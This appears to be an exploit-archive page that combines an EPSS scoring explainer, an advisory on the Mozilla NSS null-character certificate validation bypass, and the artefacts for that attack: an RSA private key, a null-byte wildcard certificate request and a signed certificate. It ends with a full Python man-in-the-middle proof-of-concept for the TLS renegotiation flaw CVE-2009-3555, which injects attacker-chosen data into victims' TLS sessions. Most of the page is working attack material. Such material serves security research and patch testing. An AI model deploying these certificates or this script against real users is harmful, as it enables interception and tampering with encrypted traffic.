EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
source: https://www.securityfocus.com/bid/35888/info
Mozilla Network Security Services (NSS) is prone to a security-bypass vulnerability because it fails to properly validate the domain name in a signed CA certificate, allowing attackers to substitute malicious SSL certificates for trusted ones.
The NSS library is used by a number of applications, including Mozilla Firefox, Thunderbird, and SeaMonkey.
Successfully exploiting this issue allows attackers to perform man-in-the-middle attacks or impersonate trusted servers, which will aid in further attacks.
NOTE (August 6, 2009): This BID had included a similar issue in Fetchmail, but that issue is now documented in BID 35951 (Fetchmail NULL Character CA SSL Certificate Validation Security Bypass Vulnerability).
Private-Key: (1024 bit)
modulus:
00:cf:4d:17:42:00:8d:0c:41:95:31:8c:40:30:bc:
5e:42:b6:28:09:75:2f:19:61:d9:ab:4d:ec:f3:44:
c4:1c:01:95:6f:27:eb:70:07:98:4f:1e:05:d0:f3:
6c:49:45:e6:de:48:7a:59:f0:c2:93:6a:37:9c:02:
72:4f:bd:14:36:26:a1:70:97:d4:fe:4b:24:e8:cd:
29:1e:61:1a:85:b0:6f:96:06:83:10:13:d6:89:9f:
bd:07:67:f1:42:de:9b:63:67:8b:96:f9:06:ef:7c:
93:4b:6a:f9:39:31:32:7f:98:59:ef:ce:91:be:05:
ce:f0:82:33:d8:76:06:4c:9f
publicExponent: 65537 (0x10001)
privateExponent:
00:8c:4f:3b:7c:ba:ee:bc:ea:ee:d6:58:7d:61:ff:
3d:35:9e:21:3f:35:87:a9:80:67:59:e1:26:8e:09:
6f:4b:1d:6f:4d:8b:11:7a:04:49:fc:d2:ef:50:dc:
51:e0:ce:65:52:f2:6f:8d:cc:bd:86:15:90:8a:11:
c5:d9:5e:ba:fc:2b:fc:e3:a0:cd:c8:f0:9a:05:76:
06:82:07:a9:bd:14:cc:c7:7e:54:b9:32:5b:40:7a:
35:0a:26:80:d7:30:98:d6:b7:71:d5:9d:f4:0d:f2:
28:b5:a9:0c:2e:6d:78:19:86:a9:31:b0:a1:43:1c:
57:2c:78:a9:42:b2:49:d8:71
prime1:
00:ec:07:79:1d:e2:50:14:77:af:99:18:1b:14:d4:
0c:25:0c:20:26:0d:dd:c7:75:0e:08:d3:77:72:ce:
2d:57:80:9d:18:bb:60:7b:b2:62:4e:21:a1:e6:84:
96:91:31:15:cc:5b:89:5b:5a:83:07:96:51:e4:d4:
e6:3a:40:99:03
prime2:
00:e0:d7:5a:07:0e:cc:a6:17:22:f8:ec:51:b1:7b:
17:af:3a:87:7b:f1:e4:6d:40:48:28:d2:c0:9c:93:
e0:f1:8f:79:07:8f:00:e0:49:1d:0e:8c:65:41:ba:
c8:20:e2:ae:78:54:75:6b:f0:41:e5:d1:9c:2e:23:
49:79:53:35:35
exponent1:
15:17:15:db:75:bd:72:16:bf:ba:0e:4d:5d:2f:15:
66:ba:0e:a5:57:d7:d9:5a:bc:46:4d:9e:fe:c3:2d:
8a:04:14:05:81:b8:bd:54:d3:33:e8:0d:6f:6b:a9:
88:8f:ba:42:e8:6a:fd:9e:b8:d6:94:b7:fc:9a:89:
77:eb:0d:c1
exponent2:
5c:5a:38:61:63:c3:cd:88:fd:55:6f:84:12:b9:73:
be:06:f5:75:84:a3:05:f8:fc:6a:c0:3e:5b:52:26:
78:32:2d:4d:5c:80:c8:9f:5f:6f:05:5d:e6:04:b9:
85:40:76:d7:78:21:8f:07:6d:99:df:62:1e:55:62:
2d:92:6e:ed
coefficient:
00:c5:62:ea:ee:85:5c:eb:e6:07:12:58:a5:63:5a:
8f:e3:b3:df:c5:1e:cc:01:cd:87:d4:12:3f:45:8e:
a9:4c:83:51:31:5a:e5:8d:11:a1:e3:84:b8:b4:e1:
12:33:eb:2d:4c:4e:8c:49:e2:0d:50:aa:ca:38:e3:
e6:c2:29:86:17
Certificate Request:
Data:
Version: 0 (0x0)
Subject: C=US, CN=*\x00thoughtcrime.noisebridge.net, ST=California, L=San Francisco, O=Noisebridge, OU=Moxie Marlinspike Fan Club
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
RSA Public Key: (1024 bit)
Modulus (1024 bit):
00:cf:4d:17:42:00:8d:0c:41:95:31:8c:40:30:bc:
5e:42:b6:28:09:75:2f:19:61:d9:ab:4d:ec:f3:44:
c4:1c:01:95:6f:27:eb:70:07:98:4f:1e:05:d0:f3:
6c:49:45:e6:de:48:7a:59:f0:c2:93:6a:37:9c:02:
72:4f:bd:14:36:26:a1:70:97:d4:fe:4b:24:e8:cd:
29:1e:61:1a:85:b0:6f:96:06:83:10:13:d6:89:9f:
bd:07:67:f1:42:de:9b:63:67:8b:96:f9:06:ef:7c:
93:4b:6a:f9:39:31:32:7f:98:59:ef:ce:91:be:05:
ce:f0:82:33:d8:76:06:4c:9f
Exponent: 65537 (0x10001)
Attributes:
a0:00
Signature Algorithm: md5WithRSAEncryption
64:e6:b2:77:45:74:c3:dc:f6:3d:e7:73:7f:0f:fb:dd:d7:30:
c3:0f:30:d5:52:2c:6b:41:ad:40:2b:4b:07:2a:de:80:69:d4:
a7:0b:6f:ed:cc:62:e7:4d:e1:fc:1e:81:0d:94:b9:c8:9b:14:
0a:10:d4:8e:f9:53:76:11:51:1d:c9:80:ca:15:e5:78:02:e1:
d1:89:95:b5:4a:3f:e0:f7:f3:35:ad:1f:7d:85:5b:8c:f5:de:
70:05:8f:4f:1d:cb:23:83:dd:63:b7:2f:1a:8c:a1:3c:67:d9:
f9:fc:63:c0:dc:bb:72:56:13:f6:3d:db:8e:d5:dc:01:9a:20:
a2:dc
-----BEGIN RSA PRIVATE KEY-----
MIICXQIBAAKBgQDPTRdCAI0MQZUxjEAwvF5CtigJdS8ZYdmrTezzRMQcAZVvJ+tw
B5hPHgXQ82xJRebeSHpZ8MKTajecAnJPvRQ2JqFwl9T+SyTozSkeYRqFsG+WBoMQ
E9aJn70HZ/FC3ptjZ4uW+QbvfJNLavk5MTJ/mFnvzpG+Bc7wgjPYdgZMnwIDAQAB
AoGBAIxPO3y67rzq7tZYfWH/PTWeIT81h6mAZ1nhJo4Jb0sdb02LEXoESfzS71Dc
UeDOZVLyb43MvYYVkIoRxdleuvwr/OOgzcjwmgV2BoIHqb0UzMd+VLkyW0B6NQom
gNcwmNa3cdWd9A3yKLWpDC5teBmGqTGwoUMcVyx4qUKySdhxAkEA7Ad5HeJQFHev
mRgbFNQMJQwgJg3dx3UOCNN3cs4tV4CdGLtge7JiTiGh5oSWkTEVzFuJW1qDB5ZR
5NTmOkCZAwJBAODXWgcOzKYXIvjsUbF7F686h3vx5G1ASCjSwJyT4PGPeQePAOBJ
HQ6MZUG6yCDirnhUdWvwQeXRnC4jSXlTNTUCQBUXFdt1vXIWv7oOTV0vFWa6DqVX
19lavEZNnv7DLYoEFAWBuL1U0zPoDW9rqYiPukLoav2euNaUt/yaiXfrDcECQFxa
OGFjw82I/VVvhBK5c74G9XWEowX4/GrAPltSJngyLU1cgMifX28FXeYEuYVAdtd4
IY8HbZnfYh5VYi2Sbu0CQQDFYuruhVzr5gcSWKVjWo/js9/FHswBzYfUEj9FjqlM
g1ExWuWNEaHjhLi04RIz6y1MToxJ4g1Qqso44+bCKYYX
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE REQUEST-----
MIIB3jCCAUcCADCBnjELMAkGA1UEBhMCVVMxJzAlBgNVBAMUHioAdGhvdWdodGNy
aW1lLm5vaXNlYnJpZGdlLm5ldDETMBEGA1UECBMKQ2FsaWZvcm5pYTEWMBQGA1UE
BxMNU2FuIEZyYW5jaXNjbzEUMBIGA1UEChMLTm9pc2VicmlkZ2UxIzAhBgNVBAsT
Gk1veGllIE1hcmxpbnNwaWtlIEZhbiBDbHViMIGfMA0GCSqGSIb3DQEBAQUAA4GN
ADCBiQKBgQDPTRdCAI0MQZUxjEAwvF5CtigJdS8ZYdmrTezzRMQcAZVvJ+twB5hP
HgXQ82xJRebeSHpZ8MKTajecAnJPvRQ2JqFwl9T+SyTozSkeYRqFsG+WBoMQE9aJ
n70HZ/FC3ptjZ4uW+QbvfJNLavk5MTJ/mFnvzpG+Bc7wgjPYdgZMnwIDAQABoAAw
DQYJKoZIhvcNAQEEBQADgYEAZOayd0V0w9z2Pedzfw/73dcwww8w1VIsa0GtQCtL
ByregGnUpwtv7cxi503h/B6BDZS5yJsUChDUjvlTdhFRHcmAyhXleALh0YmVtUo/
4PfzNa0ffYVbjPXecAWPTx3LI4PdY7cvGoyhPGfZ+fxjwNy7clYT9j3bjtXcAZog
otw=
-----END CERTIFICATE REQUEST-----
-----BEGIN CERTIFICATE-----
MIIGTjCCBbegAwIBAgIDExefMA0GCSqGSIb3DQEBBQUAMIIBEjELMAkGA1UEBhMC
RVMxEjAQBgNVBAgTCUJhcmNlbG9uYTESMBAGA1UEBxMJQmFyY2Vsb25hMSkwJwYD
VQQKEyBJUFMgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgcy5sLjEuMCwGA1UEChQl
Z2VuZXJhbEBpcHNjYS5jb20gQy5JLkYuICBCLUI2MjIxMDY5NTEuMCwGA1UECxMl
aXBzQ0EgQ0xBU0VBMSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTEuMCwGA1UEAxMl
aXBzQ0EgQ0xBU0VBMSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTEgMB4GCSqGSIb3
DQEJARYRZ2VuZXJhbEBpcHNjYS5jb20wHhcNMDkwNzMwMDcxNDQyWhcNMTEwNzMw
MDcxNDQyWjCBnjELMAkGA1UEBhMCVVMxEzARBgNVBAgTCkNhbGlmb3JuaWExFjAU
BgNVBAcTDVNhbiBGcmFuY2lzY28xFDASBgNVBAoTC05vaXNlYnJpZGdlMSMwIQYD
VQQLExpNb3hpZSBNYXJsaW5zcGlrZSBGYW4gQ2x1YjEnMCUGA1UEAxQeKgB0aG91
Z2h0Y3JpbWUubm9pc2VicmlkZ2UubmV0MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCB
iQKBgQDPTRdCAI0MQZUxjEAwvF5CtigJdS8ZYdmrTezzRMQcAZVvJ+twB5hPHgXQ
82xJRebeSHpZ8MKTajecAnJPvRQ2JqFwl9T+SyTozSkeYRqFsG+WBoMQE9aJn70H
Z/FC3ptjZ4uW+QbvfJNLavk5MTJ/mFnvzpG+Bc7wgjPYdgZMnwIDAQABo4IDITCC
Ax0wCQYDVR0TBAIwADARBglghkgBhvhCAQEEBAMCBkAwCwYDVR0PBAQDAgP4MBMG
A1UdJQQMMAoGCCsGAQUFBwMBMB0GA1UdDgQWBBStfpIwBXE+eXWUWtE3s5JqXon2
TzAfBgNVHSMEGDAWgBQOB2DUOckbW12QeyPI0jSdSppGOTAJBgNVHREEAjAAMBwG
A1UdEgQVMBOBEWdlbmVyYWxAaXBzY2EuY29tMHIGCWCGSAGG+EIBDQRlFmNPcmdh
bml6YXRpb24gSW5mb3JtYXRpb24gTk9UIFZBTElEQVRFRC4gQ0xBU0VBMSBTZXJ2
ZXIgQ2VydGlmaWNhdGUgaXNzdWVkIGJ5IGh0dHBzOi8vd3d3Lmlwc2NhLmNvbS8w
LwYJYIZIAYb4QgECBCIWIGh0dHBzOi8vd3d3Lmlwc2NhLmNvbS9pcHNjYTIwMDIv
MEMGCWCGSAGG+EIBBAQ2FjRodHRwczovL3d3dy5pcHNjYS5jb20vaXBzY2EyMDAy
L2lwc2NhMjAwMkNMQVNFQTEuY3JsMEYGCWCGSAGG+EIBAwQ5FjdodHRwczovL3d3
dy5pcHNjYS5jb20vaXBzY2EyMDAyL3Jldm9jYXRpb25DTEFTRUExLmh0bWw/MEMG
CWCGSAGG+EIBBwQ2FjRodHRwczovL3d3dy5pcHNjYS5jb20vaXBzY2EyMDAyL3Jl
bmV3YWxDTEFTRUExLmh0bWw/MEEGCWCGSAGG+EIBCAQ0FjJodHRwczovL3d3dy5p
cHNjYS5jb20vaXBzY2EyMDAyL3BvbGljeUNMQVNFQTEuaHRtbDCBgwYDVR0fBHww
ejA5oDegNYYzaHR0cDovL3d3dy5pcHNjYS5jb20vaXBzY2EyMDAyL2lwc2NhMjAw
MkNMQVNFQTEuY3JsMD2gO6A5hjdodHRwOi8vd3d3YmFjay5pcHNjYS5jb20vaXBz
Y2EyMDAyL2lwc2NhMjAwMkNMQVNFQTEuY3JsMDIGCCsGAQUFBwEBBCYwJDAiBggr
BgEFBQcwAYYWaHR0cDovL29jc3AuaXBzY2EuY29tLzANBgkqhkiG9w0BAQUFAAOB
gQAjzXaLBu+/+RP0vQ6WjW/Pxgm4WQYhecqZ2+7ZFbsUCMJPQ8XE2uv+rIteGnRF
Zr3hYb+dVlfUnethjPhazZW+/hU4FePqmlbTtmMe+zMLThiScyC8y3EW4L4BZYcp
p1drPlZIj2RmSgPQ99oToUk5O6t+LMg1N14ajr9TpM8yNQ==
-----END CERTIFICATE-----
#!/usr/bin/env python
######################################
# #
# RedTeam Pentesting GmbH #
#
[email protected] #
# http://www.redteam-pentesting.de #
# #
######################################
# PoC exploit for the TLS renegotiation vulnerability (CVE-2009-3555)
# License
# -------
# CC-BY-SA http://creativecommons.org/licenses/by-sa/3.0/
# Timeline
# --------
# 2009-12-21 initial public release
# Known Issues
# ------------
# Firefox: if it fails connecting to a TLS site too often, falls back to
# issuing SSLv2 ClientHello only until browser is restarted
#
# wget: attempts SSLv2 ClientHello by default
# References
# ----------
# http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3555
# http://www.phonefactor.com/sslgap
# http://www.extendedsubset.com/
# http://www.g-sec.lu/practicaltls.pdf
# http://tools.ietf.org/html/draft-ietf-tls-renegotiation-01
import tlslite
import tlslite.api
import tlslite.messages
import tlslite.constants
import struct
import socket
import threading
import array
import sys
import optparse
if not hasattr(threading.Thread, 'name'):
# emulate python 2.6 threading module for earlier versions
threading.current_thread = threading.currentThread
setattr(threading.Thread, 'name',
property(threading.Thread.getName, threading.Thread.setName))
def forward(sock1, sock2):
sock1.settimeout(1.0)
while True:
try:
data = sock1.recv(4096)
if not data:
return
sock2.send(data)
except socket.error, ex_error:
if ex_error[0] == 104: # Connection reset by peer
return
except socket.timeout, ex_timeout:
pass
class MessageWrapper(object):
def __init__(self, version = (3, 1), ssl2 = False):
self.contentType = tlslite.messages.ContentType.handshake
self.ssl2 = ssl2
self.client_version = version
def setType(self, type):
self.contentType = type
def addBytes(self, bytes):
self.bytes = bytes
def write(self, trial=False):
if trial:
raise Exception('Unsupported')
return array.array('B', self.bytes)
def send_record(sock, msg_type, version_major, version_minor, record):
msg = struct.pack('!BBBH', msg_type, version_major, version_minor, len(record))
if type(record) != str:
msg += record.tostring()
else:
msg += record
sock.send(msg)
def send_encapsulated(sslsock, type, messagebytes, version = (3, 1)):
msg = MessageWrapper(version)
msg.addBytes(struct.unpack('B'*len(messagebytes), messagebytes))
msg.setType(type)
for dummy in sslsock._sendMsg(msg, True):
pass
def decrypt_record(sslsock, type, recordbytes):
for result in sslsock._decryptRecord(type, array.array('B', recordbytes)):
pass
return result
def recv_record(sock):
try:
header = sock.recv(5)
if not header:
return None, None, None, None
msg_type, msg_version_major, msg_version_minor, msg_length = struct.unpack('!BBBH', header)
record = ''
while len(record) != msg_length:
record += sock.recv(msg_length - len(record))
return msg_type, msg_version_major, msg_version_minor, record
except socket.error, ex:
if ex[0] == 104: # Connection reset by peer
return
def recv_clienthello(sock):
header_bytes = []
header_bytes.append(sock.recv(1))
header_bytes[0] = struct.unpack('!B', header_bytes[0])[0]
if header_bytes[0] & 0x80:
# Version 2.0 Client "Record Layer"
header_bytes.append(sock.recv(1))
header_bytes[1] = struct.unpack('!B', header_bytes[1])[0]
msg_length = (header_bytes[0] & 0x7f) << 8 | header_bytes[1]
msg_version_major = 2
msg_version_minor = 0
msg_type = tlslite.constants.ContentType.handshake
record = sock.recv(msg_length)
else:
header = sock.recv(4)
msg_type = header_bytes[0]
msg_version_major, msg_version_minor, msg_length = struct.unpack('!BBH', header)
record = sock.recv(msg_length)
return msg_type, msg_version_major, msg_version_minor, record
def send_hello_request(sock):
sock.send("\x16" # Record Layer: Handshake Message
+"\x03\x01" # Record Layer Version: TLS 1.0
+"\x00\x04" # Record Layer Length: 4
+"\x00" # Handshake Message Type: Hello Request
+"\x00\x00\x00") # Handshake Message Length: 0
def send_protocol_version_alert(sock):
sock.send("\x15" # Record Layer: Alert"
+"\x03\x01" # Record Layer Version: TLS 1.0
+"\x00\x02" # Record Layer Length: 2
+"\x00" # Alert Message: fatal
+"\x46") # Alert Message: protocol version
def handle_victim(victim, options, mitmcount):
if options.one_shot and mitmcount != 0:
print threading.current_thread().name, '--one-shot specified and initial connection already handled, forwarding only'
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
sock.connect(options.target)
print threading.current_thread().name, 'Connected to target %s:%u' % options.target
except socket.error, ex:
print threading.current_thread().name, 'Couldn\'t connect to target %s:%u' % options.target
print threading.current_thread().name, 'Error code %u, \'%s\'' % (ex[0], ex[1])
sys.exit(1)
t1 = threading.Thread(target=forward, args=(sock, victim))
t1.start()
t2 = threading.Thread(target=forward, args=(victim, sock))
t2.start()
t1.join()
sock.close()
t2.join()
victim.close()
return
# obtain initial "client hello" message
msg_type, msg_version_major, msg_version_minor, hello_msg = recv_clienthello(victim)
if msg_version_major == 2:
print threading.current_thread().name, "client sent SSLv2 client hello message, exiting thread"
return
tls_version = (msg_version_major, msg_version_minor)
type, length, version_major, version_minor, random, session_id_length = struct.unpack('!B3sBB32sB', hello_msg[:39])
resume_session = (session_id_length != 0)
if resume_session:
print threading.current_thread().name, "client attempting to resume session"
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
sock.connect(options.target)
print threading.current_thread().name, 'Connected to target %s:%u' % options.target
except socket.error, ex:
print threading.current_thread().name, 'Couldn\'t connect to target %s:%u' % options.target
print threading.current_thread().name, 'Error code %u, \'%s\'' % (ex[0], ex[1])
sys.exit(1)
sslsock = tlslite.api.TLSConnection(sock)
handshake_settings = tlslite.HandshakeSettings.HandshakeSettings()
handshake_settings.minVersion = tls_version
handshake_settings.maxVersion = tls_version
sslsock.handshakeClientCert(settings = handshake_settings)
# inject prefix
sslsock.write(options.inject)
print threading.current_thread().name, 'Injected %s' % repr(options.inject)
# send original "client hello" message over the encrypted channel
send_encapsulated(sslsock, 22, hello_msg, tls_version)
# now receive serveral TLS messages from the server, decrypt them, and forward
# them to the client, until the server sends "server hello done"
# these messages include "server hello", "certificate", "server key exchange",
# unless the client is trying to resume a previous session
print threading.current_thread().name, "about to receive server handshake messages"
server_handshake_done = False
while not server_handshake_done:
msg_type, msg_version_major, msg_version_minor, result = recv_record(sslsock.sock)
if result:
result = decrypt_record(sslsock, msg_type, result)
send_record(victim, msg_type, msg_version_major, msg_version_minor, result)
if result[0] == 0x0e: # server hello done - should terminate handshake
server_handshake_done = True
elif resume_session and msg_type == 0x14: # change cipher spec - probably irrelevant
server_handshake_done = True
else:
print threading.current_thread().name, 'receive from server failed, exiting thread'
return
print threading.current_thread().name, "server handshake done"
# now its the the client's turn to send some messages, e.g.
# "client key exchange" and "change cipher spec"
print threading.current_thread().name, "about to receive client handshake messages"
handshake_finished = False
while not handshake_finished:
msg_type, msg_version_major, msg_version_minor, record = recv_record(victim)
print threading.current_thread().name, msg_type
send_encapsulated(sslsock, msg_type, record, tls_version)
if msg_type == 0x14: # change cipher spec
handshake_finished = True
print threading.current_thread().name, "client handshake done"
# message after "change cipher spec" must be sent in the "clear"
msg_type, msg_version_major, msg_version_minor, record = recv_record(victim)
send_record(sslsock.sock, msg_type, msg_version_major, msg_version_minor, record)
# server should now send "change cipher spec" message, we decrypt and send that to the victim
msg_type, msg_version_major, msg_version_minor, record = recv_record(sslsock.sock)
result = decrypt_record(sslsock, msg_type, record)
send_record(victim, msg_type, msg_version_major, msg_version_minor, result)
# finalize handshake
msg_type, msg_version_major, msg_version_minor, record = recv_record(sslsock.sock)
if record:
send_record(victim, msg_type, msg_version_major, msg_version_minor, record)
else:
sslsock.sock.close()
victim.close()
del sslsock
return
# the rest is just forwarding TLS records between both parties,
# which we cannot interfere with anymore, apart from dropping server
# responses
if options.drop:
sslsock.sock.close()
del sslsock
else:
t1 = threading.Thread(target=forward, args=(sslsock.sock, victim))
t1.start()
t2 = threading.Thread(target=forward, args=(victim, sslsock.sock))
t2.start()
if not options.drop:
t1.join()
sslsock.sock.close()
t2.join()
victim.close()
if __name__ == "__main__":
parser = optparse.OptionParser()
parser.add_option('-l', '--listen', dest='listen_port', help='port to listen on', metavar='PORT', type='int', default=8443)
parser.add_option('-b', '--bind', dest='bind_address', help='address to bind to', metavar='ADDRESS', default='0.0.0.0')
parser.add_option('-t', '--target', dest='target', help='host and port to connect to', metavar='HOST:PORT' )
parser.add_option('-i', '--inject', dest='inject', help='string to inject', metavar='DATA')
parser.add_option('', '--inject-file', dest='inject_file', help='inject data from a file', metavar='FILE')
parser.add_option('', '--inject-base64', dest='inject_base64', help='string to inject, base64-encoded', metavar='DATA')
parser.add_option('-o', '--one-shot', dest='one_shot', action='store_true', help='only mitm the first connection attempt, forward all other connections')
parser.add_option('-d', '--drop-responses', dest='drop', action="store_true", default=False, help='drop server responses after renegotiating')
(options, args) = parser.parse_args()
if len([i for i in (options.inject, options.inject_file, options.inject_base64) if i]) != 1:
print 'Exactly one injection option must be specified'
sys.exit(1)
if options.inject_file:
try:
options.inject = open(options.inject_file, 'r').read()
except IOError, ex:
print ex
sys.exit(1)
if options.inject_base64:
import base64
try:
options.inject = base64.decodestring(options.inject_base64)
except base64.binascii.Error, ex:
print 'Error decoding base64 data: %s' % ex
sys.exit(1)
if not options.listen_port or \
not options.bind_address or \
not options.target or \
not options.inject:
parser.print_help()
sys.exit(1)
target = options.target.split(':')
if len(target)==2:
try:
target[1] = int(target[1])
except ValueError:
target[1] = None
if len(target)!=2 or not target[0] or not target[1]:
print 'Target \'%s\' not in format HOST:PORT' % options.target
sys.exit(1)
options.target = tuple(target)
try:
listensocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
listensocket.bind((options.bind_address, options.listen_port))
print 'Listening on %s:%u' % (options.bind_address, options.listen_port)
except socket.error, ex:
print 'Couldn\'t listen on %s:%u' % (options.bind_address, options.listen_port)
print 'Error code %u, \'%s\'' % (ex[0], ex[1])
sys.exit(1)
listensocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
listensocket.listen(5)
mitmcount = 0
while True:
try:
victim, victimaddr = listensocket.accept()
print 'New connection from %s:%u' % victimaddr
threading.Thread(target=handle_victim, args=(victim, options, mitmcount)).start()
mitmcount += 1
except KeyboardInterrupt, ex:
print '\nAborted by user, exiting...'
listensocket.close()
sys.exit(1)